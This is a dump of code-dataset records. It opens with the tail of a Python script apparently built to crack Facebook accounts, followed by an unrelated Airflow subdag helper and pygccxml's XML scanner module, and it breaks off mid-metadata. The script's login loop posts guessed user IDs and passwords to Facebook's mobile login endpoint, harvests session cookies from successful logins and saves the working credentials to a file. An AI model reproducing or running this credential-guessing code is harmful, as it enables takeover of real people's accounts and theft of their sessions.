'sec-ch-ua-mobile': '?1',\r\n 'sec-ch-ua-platform': '\"Android\"',\r\n 'sec-fetch-dest': 'document',\r\n 'sec-fetch-mode': 'navigate',\r\n 'sec-fetch-site': 'none',\r\n 'sec-fetch-user': '?1',\r\n 'upgrade-insecure-requests': '1',\r\n 'user-agent': pro}\r\n lo = session.post('https://mbasic.facebook.com/login/device-based/regular/login/?refsrc',data=log_data,headers=header_freefb).text\r\n log_cookies=session.cookies.get_dict().keys()\r\n if 'c_user' in log_cookies:\r\n coki=\";\".join([key+\"=\"+value for key,value in session.cookies.get_dict().items()])\r\n cid = coki[7:22]\r\n print('\\r\\r\\033[1;32m[JISAN-OK💚] \\033[1;32m'+uid+'\\033[1;32m • \\033[1;32m' +ps+ ' \\n[‎‎🌺]\\033[0;93m COOKIE = \\033[1;32m'+coki+ ' '' \\033[0;97m')\r\n os.system('espeak -a 300 \" JISAN, Ok, id\"')\r\n cek_apk(session,coki)\r\n open('/sdcard/JISAN-OK.txt', 'a').write( uid+' | '+ps+'\\n')\r\n oks.append(cid)\r\n break\r\n elif 'checkpoint' in log_cookies:\r\n coki=\";\".join([key+\"=\"+value for key,value in session.cookies.get_dict().items()])\r\n cid = coki[24:39]\r\n # print('\\r\\r\\33[1;30m[JISAN-CP] ' +uid+ ' • ' +ps+ ' \\33[0;97m')\r\n #os.system(\"play op.mp3\")\r\n open('/sdcard/JISAN-CP😁😁.txt', 'a').write( uid+' | '+ps+' \\n')\r\n cps.append(cid)\r\n break\r\n else:\r\n continue\r\n loop+=1\r\n sys.stdout.write(f'\\r\\r%s{x}[{xr}JISAN-XD{x}]>~[%s]>~<[%s]-[OK:{xr}%s{x}]'%(H,loop,tl,len(oks))),\r\n sys.stdout.flush()\r\n except:\r\n pass\r\n \r\nxxr()\r\n ", "repo_name": "X1X4D-2-0/Test", "sub_path": "R4NDOM.py", "file_name": "R4NDOM.py", "file_ext": "py", "file_size_in_byte": 11604, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.system", "line_number": 4, "usage_type": "call"}, {"api_name": "os.system", "line_number": 18, "usage_type": "call"}, {"api_name": "os.system", "line_number": 19, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 24, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup.find", "line_number": 25, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 25, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 36, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup.find", "line_number": 37, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 37, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 49, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 62, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 63, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 63, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 64, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 85, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 89, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 91, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 91, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 95, "usage_type": "name"}, {"api_name": "os.system", "line_number": 96, "usage_type": "call"}, {"api_name": "os.system", "line_number": 97, "usage_type": "call"}, {"api_name": "os.system", "line_number": 113, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 117, "usage_type": "call"}, {"api_name": "os.system", "line_number": 132, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 140, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 140, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 140, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 149, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 151, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 153, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 154, "usage_type": "call"}, {"api_name": "os.getuid", "line_number": 162, "usage_type": "attribute"}, {"api_name": "os.geteuid", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 164, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 172, "usage_type": "call"}, {"api_name": "os.system", "line_number": 173, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 177, "usage_type": "call"}, {"api_name": "string.digits", "line_number": 177, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 179, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 187, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 213, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 214, "usage_type": "call"}, {"api_name": "re.search", "line_number": 217, "usage_type": "call"}, {"api_name": "re.search", "line_number": 218, "usage_type": "call"}, {"api_name": "re.search", "line_number": 219, "usage_type": "call"}, {"api_name": "re.search", "line_number": 220, "usage_type": "call"}, {"api_name": "os.system", "line_number": 247, "usage_type": "call"}, {"api_name": "sys.stdout.write", "line_number": 263, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 263, "usage_type": "attribute"}, {"api_name": "sys.stdout.flush", "line_number": 264, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 264, "usage_type": "attribute"}]} +{"seq_id": "71135294409", "text": "\"\"\"List of all subdags.\"\"\"\nfrom airflow import DAG\nfrom airflow.operators.dummy_operator import DummyOperator\n\ndef sub_dag(parent_dag, child_dag, start_date, schedule_interval):\n with DAG(f'{parent_dag}.{child_dag}', start_date=start_date, schedule_interval=schedule_interval) as dag:\n list_tasks = [DummyOperator(task_id=f\"task_{i}\") for i in range(10)]\n for index, task in enumerate(list_tasks):\n if index > 0:\n list_tasks[index-1] >> task\n return dag", "repo_name": "jagamts1/airflow-playground", "sub_path": "dags/sub_dag.py", "file_name": "sub_dag.py", "file_ext": "py", "file_size_in_byte": 499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "airflow.DAG", "line_number": 6, "usage_type": "call"}, {"api_name": "airflow.operators.dummy_operator.DummyOperator", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "15201069142", "text": "import os\nimport pprint\nimport xml.sax\nimport xml.sax.handler\nfrom .. import utils\nfrom pygccxml import declarations\n\n# convention\n# XML_NN - XML Node Name\n# XML_AN - XML Attribute Name\n# also those constants are sorted for easy searching.\nXML_AN_ABSTRACT = \"abstract\"\nXML_AN_ACCESS = \"access\"\nXML_AN_ALIGN = \"align\"\nXML_AN_ARTIFICIAL = \"artificial\"\nXML_AN_ATTRIBUTES = \"attributes\"\nXML_AN_BASE_TYPE = \"basetype\"\nXML_AN_BASES = \"bases\"\nXML_AN_BITS = \"bits\"\nXML_AN_CONST = \"const\"\nXML_AN_CONTEXT = \"context\"\nXML_AN_CVS_REVISION = \"cvs_revision\"\nXML_AN_DEFAULT = \"default\"\nXML_AN_DEMANGLED = \"demangled\"\nXML_AN_EXPLICIT = \"explicit\"\nXML_AN_EXTERN = \"extern\"\nXML_AN_FILE = \"file\"\nXML_AN_ID = \"id\"\nXML_AN_INCOMPLETE = \"incomplete\"\nXML_AN_INIT = \"init\"\nXML_AN_INLINE = \"inline\"\nXML_AN_LINE = \"line\"\nXML_AN_MANGLED = \"mangled\"\nXML_AN_MAX = \"max\"\nXML_AN_MEMBERS = \"members\"\nXML_AN_MUTABLE = \"mutable\"\nXML_AN_NAME = \"name\"\nXML_AN_OFFSET = \"offset\"\nXML_AN_PURE_VIRTUAL = \"pure_virtual\"\nXML_AN_RESTRICT = \"restrict\"\nXML_AN_RETURNS = \"returns\"\nXML_AN_SIZE = \"size\"\nXML_AN_STATIC = \"static\"\nXML_AN_THROW = \"throw\"\nXML_AN_TYPE = \"type\"\nXML_AN_VIRTUAL = \"virtual\"\nXML_AN_VOLATILE = \"volatile\"\nXML_NN_ARGUMENT = \"Argument\"\nXML_NN_ARRAY_TYPE = \"ArrayType\"\nXML_NN_CASTING_OPERATOR = \"Converter\"\nXML_NN_CLASS = \"Class\"\nXML_NN_CONSTRUCTOR = \"Constructor\"\nXML_NN_CV_QUALIFIED_TYPE = \"CvQualifiedType\"\nXML_NN_DESTRUCTOR = \"Destructor\"\nXML_NN_ELLIPSIS = \"Ellipsis\"\nXML_NN_ENUMERATION = \"Enumeration\"\nXML_NN_ENUMERATION_VALUE = \"EnumValue\"\nXML_NN_FIELD = \"Field\"\nXML_NN_FILE = \"File\"\nXML_NN_FUNCTION = \"Function\"\nXML_NN_FUNCTION_TYPE = \"FunctionType\"\nXML_NN_FUNDAMENTAL_TYPE = \"FundamentalType\"\nXML_NN_FREE_OPERATOR = \"OperatorFunction\"\nXML_NN_GCC_XML = \"GCC_XML\"\nXML_NN_MEMBER_OPERATOR = \"OperatorMethod\"\nXML_NN_METHOD = \"Method\"\nXML_NN_METHOD_TYPE = \"MethodType\"\nXML_NN_NAMESPACE = \"Namespace\"\nXML_NN_OFFSET_TYPE = \"OffsetType\"\nXML_NN_POINTER_TYPE = \"PointerType\"\nXML_NN_REFERENCE_TYPE = \"ReferenceType\"\nXML_NN_ROOT = \"GCC_XML\"\nXML_NN_STRUCT = \"Struct\"\nXML_NN_TYPEDEF = \"Typedef\"\nXML_NN_UNION = \"Union\"\nXML_NN_VARIABLE = \"Variable\"\n\n\nclass scanner_t(xml.sax.handler.ContentHandler):\n\n def __init__(self, xml_file, decl_factory, config, *args):\n xml.sax.handler.ContentHandler.__init__(self, *args)\n self.logger = utils.loggers.cxx_parser\n self.xml_file = xml_file\n self.config = config\n # defining parsing tables\n self.__readers = {\n XML_NN_FILE: self.__read_file,\n XML_NN_NAMESPACE: self.__read_namespace,\n XML_NN_ENUMERATION: self.__read_enumeration,\n XML_NN_ENUMERATION_VALUE: self.__read_enumeration_value,\n XML_NN_ARRAY_TYPE: self.__read_array_type,\n XML_NN_CV_QUALIFIED_TYPE: self.__read_cv_qualified_type,\n XML_NN_POINTER_TYPE: self.__read_pointer_type,\n XML_NN_REFERENCE_TYPE: self.__read_reference_type,\n XML_NN_FUNDAMENTAL_TYPE: self.__read_fundamental_type,\n XML_NN_ARGUMENT: self.__read_argument,\n XML_NN_FUNCTION_TYPE: self.__read_function_type,\n XML_NN_METHOD_TYPE: self.__read_method_type,\n XML_NN_OFFSET_TYPE: self.__read_offset_type,\n XML_NN_TYPEDEF: self.__read_typedef,\n XML_NN_VARIABLE: self.__read_variable,\n XML_NN_CLASS: self.__read_class,\n XML_NN_STRUCT: self.__read_struct,\n XML_NN_UNION: self.__read_union,\n XML_NN_FIELD: self.__read_field,\n XML_NN_CASTING_OPERATOR: self.__read_casting_operator,\n XML_NN_CONSTRUCTOR: self.__read_constructor,\n XML_NN_DESTRUCTOR: self.__read_destructor,\n XML_NN_FUNCTION: self.__read_function,\n XML_NN_FREE_OPERATOR: self.__read_free_operator,\n XML_NN_MEMBER_OPERATOR: self.__read_member_operator,\n XML_NN_METHOD: self.__read_method,\n XML_NN_GCC_XML: self.__read_version,\n XML_NN_ELLIPSIS: self.__read_ellipsis}\n self.deep_declarations = [\n XML_NN_CASTING_OPERATOR,\n XML_NN_CONSTRUCTOR,\n XML_NN_DESTRUCTOR,\n XML_NN_ENUMERATION,\n XML_NN_FILE,\n XML_NN_FUNCTION,\n XML_NN_FREE_OPERATOR,\n XML_NN_MEMBER_OPERATOR,\n XML_NN_METHOD,\n XML_NN_FUNCTION_TYPE,\n XML_NN_METHOD_TYPE]\n\n assert isinstance(decl_factory, declarations.decl_factory_t)\n self.__decl_factory = decl_factory\n\n # mapping from id -> decl\n self.__declarations = {}\n # list of all read declarations\n self.__calldefs = []\n # list of enums I need later\n self.__enums = []\n # mapping from id -> type\n self.__types = {}\n # mapping from id -> file\n self.__files = {}\n # mapping between decl id -> access\n self.__access = {}\n # current object under construction\n self.__inst = None\n # mapping from id to members\n self.__members = {}\n\n self.__mangled_suffix = ' *INTERNAL* '\n self.__mangled_suffix_len = len(self.__mangled_suffix)\n\n def read(self):\n xml.sax.parse(self.xml_file, self)\n\n def endDocument(self):\n # updating membership\n members_mapping = {}\n for gccxml_id, members in self.__members.items():\n decl = self.__declarations.get(gccxml_id, None)\n if not decl or not isinstance(decl, declarations.scopedef_t):\n continue\n members_mapping[id(decl)] = members\n self.__members = members_mapping\n\n def declarations(self):\n return self.__declarations\n\n def calldefs(self):\n return self.__calldefs\n\n def enums(self):\n return self.__enums\n\n def types(self):\n return self.__types\n\n def files(self):\n return self.__files\n\n def access(self):\n return self.__access\n\n def members(self):\n return self.__members\n\n def startElement(self, name, attrs):\n\n try:\n if name not in self.__readers:\n return\n obj = self.__readers[name](attrs)\n if not obj:\n return # it means that we worked on internals\n # for example EnumValue of function argument\n if name in self.deep_declarations:\n self.__inst = obj\n self.__read_access(attrs)\n element_id = attrs.get(XML_AN_ID, None)\n\n # With CastXML and clang some __va_list_tag declarations are\n # present in the tree: we do not want to have these in the tree.\n # With llvm 3.9 there is a __NSConstantString(_tag) in the tree\n # We hide these declarations by default\n rm1 = \"f1\" not in self.config.flags\n names = [\n \"__va_list_tag\",\n \"__NSConstantString_tag\",\n \"__NSConstantString\"]\n\n if isinstance(obj, declarations.declaration_t):\n\n if rm1 and str(obj.name) in names:\n return\n\n # XML generator. Kept for retrocompatibily\n obj.compiler = utils.xml_generator\n\n self.__update_membership(attrs)\n self.__declarations[element_id] = obj\n if not isinstance(obj, declarations.namespace_t):\n self.__read_location(obj, attrs)\n if isinstance(obj, declarations.class_t):\n self.__read_bases(obj, attrs)\n if isinstance(obj, declarations.typedef_t):\n self.__update_unnamed_class(obj, attrs)\n self.__read_artificial(obj, attrs)\n self.__read_mangled(obj, attrs)\n self.__read_demangled(obj, attrs)\n self.__read_attributes(obj, attrs)\n\n elif isinstance(obj, declarations.type_t):\n\n self.__types[element_id] = obj\n self.__read_byte_size(obj, attrs)\n self.__read_byte_align(obj, attrs)\n\n elif utils.is_str(obj):\n\n self.__files[element_id] = obj\n\n else:\n self.logger.warning(\n 'Unknown object type has been found.' +\n ' Please report this bug to pygccxml development team.')\n except Exception as error:\n msg = (\n 'error occured, while parsing element with name \"%s\" ' +\n 'and attrs \"%s\".')\n msg = msg + os.linesep + 'Error: %s.' % str(error)\n self.logger.error(msg % (name, pprint.pformat(list(attrs.keys()))))\n raise\n\n def endElement(self, name):\n if name in self.deep_declarations:\n self.__inst = None\n\n def __read_location(self, decl, attrs):\n\n to_skip = []\n if \"CastXML\" in utils.xml_generator:\n # These fields are generated by clang, and have no location.\n # Just set an empty location for them. Gccxml does not have\n # this problem.\n # bug #19: gp_offset, fp_offset, overflow_arg_area, reg_save_area\n # bug #32: isa, flags, str and length were added in llvm 3.9\n to_skip = [\n \"gp_offset\",\n \"fp_offset\",\n \"overflow_arg_area\",\n \"reg_save_area\",\n \"isa\",\n \"flags\",\n \"str\",\n \"length\"\n ]\n\n if \"name\" in attrs and attrs[\"name\"] in to_skip:\n decl.location = declarations.location_t('', -1)\n else:\n decl.location = declarations.location_t(\n file_name=attrs[XML_AN_FILE],\n line=int(attrs[XML_AN_LINE]))\n\n def __update_membership(self, attrs):\n parent = attrs.get(XML_AN_CONTEXT, None)\n if not parent:\n return\n if parent not in self.__members:\n self.__members[parent] = []\n self.__members[parent].append(attrs[XML_AN_ID])\n\n def __read_members(self, decl, attrs):\n decl.declarations = attrs.get(XML_AN_MEMBERS, \"\")\n\n def __read_bases(self, decl, attrs):\n decl.bases = attrs.get(XML_AN_BASES, \"\")\n\n def __read_artificial(self, decl, attrs):\n decl.is_artificial = attrs.get(XML_AN_ARTIFICIAL, False)\n\n def __read_mangled(self, decl, attrs):\n mangled = attrs.get(XML_AN_MANGLED, None)\n # the following patch is defined here for performance reasons\n if isinstance(mangled, bytes) and \\\n mangled.endswith(self.__mangled_suffix):\n mangled = mangled[:self.__mangled_suffix_len]\n decl.mangled = mangled\n\n def __read_demangled(self, decl, attrs):\n decl.demangled = attrs.get(XML_AN_DEMANGLED, None)\n\n def __read_attributes(self, decl, attrs):\n decl.attributes = attrs.get(XML_AN_ATTRIBUTES, None)\n\n def __read_access(self, attrs):\n self.__access[\n attrs[XML_AN_ID]] = attrs.get(\n XML_AN_ACCESS,\n declarations.ACCESS_TYPES.PUBLIC)\n\n def __read_byte_size(self, decl, attrs):\n \"Using duck typing to set the size instead of in constructor\"\n size = attrs.get(XML_AN_SIZE, 0)\n # Make sure the size is in bytes instead of bits\n decl.byte_size = int(size) / 8\n\n def __read_byte_offset(self, decl, attrs):\n \"Using duck typing to set the offset instead of in constructor\"\n offset = attrs.get(XML_AN_OFFSET, 0)\n # Make sure the size is in bytes instead of bits\n decl.byte_offset = int(offset) / 8\n\n def __read_byte_align(self, decl, attrs):\n \"Using duck typing to set the alignment\"\n align = attrs.get(XML_AN_ALIGN, 0)\n # Make sure the size is in bytes instead of bits\n decl.byte_align = int(align) / 8\n\n def __read_root(self, attrs):\n pass\n\n def __read_file(self, attrs):\n return attrs.get(XML_AN_NAME, '')\n\n def __read_namespace(self, attrs):\n ns_name = attrs.get(XML_AN_NAME, '')\n if '.' in ns_name:\n # if '.' in namespace then this is mangled namespace\n # -> in c++ namespace{...}\n # that is almost true: gcc mangale name using top file name.\n # almost all files has '.' in name\n ns_name = ''\n return self.__decl_factory.create_namespace(name=ns_name)\n\n def __read_enumeration(self, attrs):\n enum_name = attrs.get(XML_AN_NAME, '')\n if '$_' in enum_name or '._' in enum_name:\n # it means that this is unnamed enum. in c++ enum{ x };\n enum_name = ''\n decl = self.__decl_factory.create_enumeration(name=enum_name)\n self.__read_byte_size(decl, attrs)\n self.__read_byte_align(decl, attrs)\n self.__enums.append(decl)\n return decl\n\n def __read_enumeration_value(self, attrs):\n name = attrs.get(XML_AN_NAME, '')\n num = int(attrs[XML_AN_INIT])\n self.__inst.append_value(name, num)\n\n def __guess_int_value(self, value_as_str):\n # returns instance of int or None\n # if gcc compiled the code, than it is correct!\n numeric_suffix_letters = 'UuLlFf'\n for s in numeric_suffix_letters:\n value_as_str = value_as_str.replace(s, '')\n try:\n return int(value_as_str)\n except ValueError:\n try:\n return int(value_as_str, 16)\n except ValueError:\n return None\n\n def __read_array_type(self, attrs):\n type_ = attrs[XML_AN_TYPE]\n size = self.__guess_int_value(attrs.get(XML_AN_MAX, ''))\n if size is None:\n size = declarations.array_t.SIZE_UNKNOWN\n # The following warning is pretty useless, as it cant say what the\n # problematic declaration is.\n # msg = 'unable to find out array size from expression\n # \"%s\"' % attrs[ XML_AN_MAX ]\n # warnings.warn( msg )\n return declarations.array_t(type_, size + 1)\n\n def __read_cv_qualified_type(self, attrs):\n if XML_AN_CONST in attrs and XML_AN_VOLATILE in attrs:\n return declarations.volatile_t(\n declarations.const_t(attrs[XML_AN_TYPE]))\n elif XML_AN_CONST in attrs:\n return declarations.const_t(attrs[XML_AN_TYPE])\n elif XML_AN_VOLATILE in attrs:\n return declarations.volatile_t(attrs[XML_AN_TYPE])\n elif XML_AN_RESTRICT in attrs:\n return declarations.restrict_t(attrs[XML_AN_TYPE])\n else:\n assert 0\n\n def __read_pointer_type(self, attrs):\n return declarations.pointer_t(attrs[XML_AN_TYPE])\n\n def __read_reference_type(self, attrs):\n return declarations.reference_t(attrs[XML_AN_TYPE])\n\n def __read_fundamental_type(self, attrs):\n try:\n return declarations.FUNDAMENTAL_TYPES[attrs.get(XML_AN_NAME, '')]\n except KeyError:\n return None\n # This code chokes on atomic_int_type in Boost 1.54\n # (and higher, probably).\n # It seems ok to just silently ignore this error.\n # raise RuntimeError((\n # \"pygccxml error: unable to find fundamental type with \" +\n # \"name '%s'.\") % attrs.get( XML_AN_NAME, '' ) )\n\n def __read_offset_type(self, attrs):\n base = attrs[XML_AN_BASE_TYPE]\n type_ = attrs[XML_AN_TYPE]\n if '0.9' in utils.xml_generator or 'CastXML' in utils.xml_generator:\n return declarations.pointer_t(\n declarations.member_variable_type_t(\n class_inst=base,\n variable_type=type_))\n else:\n return declarations.member_variable_type_t(\n class_inst=base, variable_type=type_)\n\n def __read_argument(self, attrs):\n if isinstance(self.__inst, declarations.calldef_type_t):\n self.__inst.arguments_types.append(attrs[XML_AN_TYPE])\n else:\n argument = declarations.argument_t()\n argument.name = attrs.get(\n XML_AN_NAME,\n 'arg%d' % len(\n self.__inst.arguments))\n argument.type = attrs[XML_AN_TYPE]\n argument.default_value = attrs.get(XML_AN_DEFAULT, None)\n self.__read_attributes(argument, attrs)\n if 'CastXML' not in utils.xml_generator:\n # GCCXML only\n if argument.default_value == '<gccxml-cast-expr>':\n argument.default_value = None\n self.__inst.arguments.append(argument)\n\n def __read_ellipsis(self, attrs):\n if isinstance(self.__inst, declarations.calldef_type_t):\n self.__inst.arguments_types.append('...')\n else:\n argument = declarations.argument_t(type='...')\n self.__inst.arguments.append(argument)\n\n def __read_calldef(self, calldef, attrs, is_declaration):\n # destructor for example doesn't have return type\n calldef.return_type = attrs.get(XML_AN_RETURNS, None)\n if is_declaration:\n self.__calldefs.append(calldef)\n calldef.name = attrs.get(XML_AN_NAME, '')\n calldef.has_extern = attrs.get(XML_AN_EXTERN, False)\n calldef.has_inline = bool(attrs.get(XML_AN_INLINE, \"\") == \"1\")\n throw_stmt = attrs.get(XML_AN_THROW, None)\n if None is throw_stmt:\n calldef.does_throw = True\n calldef.exceptions = []\n elif \"\" == throw_stmt:\n calldef.does_throw = False\n calldef.exceptions = []\n else:\n calldef.does_throw = True\n calldef.exceptions = throw_stmt.split()\n\n def __read_member_function(self, calldef, attrs, is_declaration):\n self.__read_calldef(calldef, attrs, is_declaration)\n calldef.has_const = attrs.get(XML_AN_CONST, False)\n if is_declaration:\n calldef.has_static = attrs.get(XML_AN_STATIC, False)\n if XML_AN_PURE_VIRTUAL in attrs:\n calldef.virtuality = declarations.VIRTUALITY_TYPES.PURE_VIRTUAL\n elif XML_AN_VIRTUAL in attrs:\n calldef.virtuality = declarations.VIRTUALITY_TYPES.VIRTUAL\n else:\n calldef.virtuality = declarations.VIRTUALITY_TYPES.NOT_VIRTUAL\n else:\n calldef.class_inst = attrs[XML_AN_BASE_TYPE]\n\n def __read_function_type(self, attrs):\n answer = declarations.free_function_type_t()\n self.__read_calldef(answer, attrs, False)\n return answer\n\n def __read_method_type(self, attrs):\n answer = declarations.member_function_type_t()\n self.__read_member_function(answer, attrs, False)\n return answer\n\n def __read_typedef(self, attrs):\n return self.__decl_factory.create_typedef(\n name=attrs.get(\n XML_AN_NAME,\n ''),\n type=attrs[XML_AN_TYPE])\n\n def __read_variable(self, attrs):\n type_qualifiers = declarations.type_qualifiers_t()\n type_qualifiers.has_mutable = attrs.get(XML_AN_MUTABLE, False)\n type_qualifiers.has_static = attrs.get(XML_AN_EXTERN, False)\n bits = attrs.get(XML_AN_BITS, None)\n if bits:\n bits = int(bits)\n decl = self.__decl_factory.create_variable(\n name=attrs.get(\n XML_AN_NAME,\n ''),\n type=attrs[XML_AN_TYPE],\n type_qualifiers=type_qualifiers,\n value=attrs.get(\n XML_AN_INIT,\n None),\n bits=bits)\n self.__read_byte_offset(decl, attrs)\n return decl\n\n __read_field = __read_variable # just a synonym\n\n def __read_class_impl(self, class_type, attrs):\n name = attrs.get(XML_AN_NAME, '')\n if '$' in name or '.' in name:\n name = ''\n if XML_AN_INCOMPLETE in attrs:\n decl = self.__decl_factory.create_class_declaration(name=name)\n else:\n decl = self.__decl_factory.create_class(\n name=name,\n class_type=class_type)\n if attrs.get(XML_AN_ABSTRACT, False):\n decl.is_abstract = True\n else:\n decl.is_abstract = False\n self.__read_byte_size(decl, attrs)\n self.__read_byte_align(decl, attrs)\n return decl\n\n def __read_class(self, attrs):\n return self.__read_class_impl(declarations.CLASS_TYPES.CLASS, attrs)\n\n def __read_struct(self, attrs):\n return self.__read_class_impl(declarations.CLASS_TYPES.STRUCT, attrs)\n\n def __read_union(self, attrs):\n return self.__read_class_impl(declarations.CLASS_TYPES.UNION, attrs)\n\n def __read_casting_operator(self, attrs):\n operator = self.__decl_factory.create_casting_operator()\n self.__read_member_function(operator, attrs, True)\n return operator\n\n def __read_constructor(self, attrs):\n constructor = self.__decl_factory.create_constructor()\n self.__read_member_function(constructor, attrs, True)\n constructor.explicit = attrs.get(XML_AN_EXPLICIT, False)\n return constructor\n\n def __read_function(self, attrs):\n gfunction = self.__decl_factory.create_free_function()\n self.__read_calldef(gfunction, attrs, True)\n return gfunction\n\n def __read_method(self, attrs):\n mfunction = self.__decl_factory.create_member_function()\n self.__read_member_function(mfunction, attrs, True)\n return mfunction\n\n def __read_destructor(self, attrs):\n destructor = self.__decl_factory.create_destructor()\n self.__read_member_function(destructor, attrs, True)\n destructor.name = '~' + destructor.name\n return destructor\n\n def __read_free_operator(self, attrs):\n operator = self.__decl_factory.create_free_operator()\n self.__read_member_function(operator, attrs, True)\n if 'new' in operator.name or 'delete' in operator.name:\n operator.name = 'operator ' + operator.name\n else:\n operator.name = 'operator' + operator.name\n return operator\n\n def __read_member_operator(self, attrs):\n operator = self.__decl_factory.create_member_operator()\n self.__read_member_function(operator, attrs, True)\n if 'new' in operator.name or 'delete' in operator.name:\n operator.name = 'operator ' + operator.name\n else:\n operator.name = 'operator' + operator.name\n return operator\n\n def __read_version(self, attrs):\n logger = utils.loggers.cxx_parser\n version_str = attrs.get(XML_AN_CVS_REVISION, 0.6)\n version = float(version_str)\n if version is None:\n logger.debug('GCCXML version - 0.6')\n utils.xml_generator = declarations.xml_generators.GCC_XML_06\n elif version <= 1.114:\n logger.debug('GCCXML version - 0.7')\n utils.xml_generator = declarations.xml_generators.GCC_XML_07\n elif 1.115 <= version <= 1.126:\n logger.debug('GCCXML version - 0.9 BUGGY ( %s )', version_str)\n utils.xml_generator = declarations.xml_generators.GCC_XML_09_BUGGY\n elif 1.126 <= version <= 1.135:\n logger.debug('GCCXML version - 0.9 ( %s )', version_str)\n utils.xml_generator = declarations.xml_generators.GCC_XML_09\n else:\n # CastXML starts with revision 1.136, but still writes the GCCXML\n # tag and the 0.9 version number in the XML files for backward\n # compatibility.\n logger.debug('CASTXML version - None ( %s )', version_str)\n utils.xml_generator = declarations.xml_generators.CASTXML_None\n utils.xml_output_version = version\n\n def __update_unnamed_class(self, decl, attrs):\n \"\"\"\n Called for typedef declarations. If CastXML is being used, then type\n definitions with an unnamed class/struct are split across two nodes in\n the XML tree. For example,\n\n typedef struct {} cls;\n\n produces\n\n <Struct id=\"_7\" name=\"\" context=\"_1\" .../>\n <Typedef id=\"_8\" name=\"cls\" type=\"_7\" context=\"_1\" .../>\n\n So we'll walk the list of read declarations and try to update an\n unnamed class/struct with matching attributes\n \"\"\"\n if 'CastXML' not in utils.xml_generator:\n return\n\n parent = attrs.get(XML_AN_CONTEXT)\n if not parent:\n return\n if parent not in self.__members:\n return\n type_ = attrs.get(XML_AN_TYPE)\n if not type_ or type_ not in self.__declarations:\n return\n\n referent = self.__declarations[type_]\n if referent.name or not isinstance(referent, declarations.class_t):\n return\n referent.name = decl.name\n", "repo_name": "nstroustrup/lifespan", "sub_path": "external_compile_libraries/InsightToolkit-4.10.0/Modules/ThirdParty/pygccxml/src/pygccxml/parser/scanner.py", "file_name": "scanner.py", "file_ext": "py", "file_size_in_byte": 24817, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 23, "dataset": "github-code", "pt": "16", "api": [{"api_name": "xml.sax.sax", "line_number": 79, "usage_type": "attribute"}, {"api_name": "xml.sax", "line_number": 79, "usage_type": "name"}, {"api_name": "xml.sax.sax.handler.ContentHandler.__init__", "line_number": 82, "usage_type": "call"}, {"api_name": "xml.sax.sax", "line_number": 82, "usage_type": "attribute"}, {"api_name": "xml.sax", "line_number": 82, "usage_type": "name"}, {"api_name": "pygccxml.declarations.decl_factory_t", "line_number": 129, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 129, "usage_type": "name"}, {"api_name": "xml.sax.sax.parse", "line_number": 153, "usage_type": "call"}, {"api_name": "xml.sax.sax", "line_number": 153, "usage_type": "attribute"}, {"api_name": "xml.sax", "line_number": 153, "usage_type": "name"}, {"api_name": "pygccxml.declarations.scopedef_t", "line_number": 160, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 160, "usage_type": "name"}, {"api_name": "pygccxml.declarations.declaration_t", "line_number": 210, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 210, "usage_type": "name"}, {"api_name": "pygccxml.declarations.namespace_t", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 220, "usage_type": "name"}, {"api_name": "pygccxml.declarations.class_t", "line_number": 222, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 222, "usage_type": "name"}, {"api_name": "pygccxml.declarations.typedef_t", "line_number": 224, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 224, "usage_type": "name"}, {"api_name": "pygccxml.declarations.type_t", "line_number": 231, "usage_type": "attribute"}, {"api_name": "pygccxml.declarations", "line_number": 231, "usage_type": "name"}, {"api_name": "os.linesep", "line_number": 249, "usage_type": "attribute"}, {"api_name": "pprint.pformat", "line_number": 250, "usage_type": "call"}, {"api_name": "pygccxml.declarations.location_t", "line_number": 278, "usage_type": "call"}, {"api_name": "pygccxml.declarations", 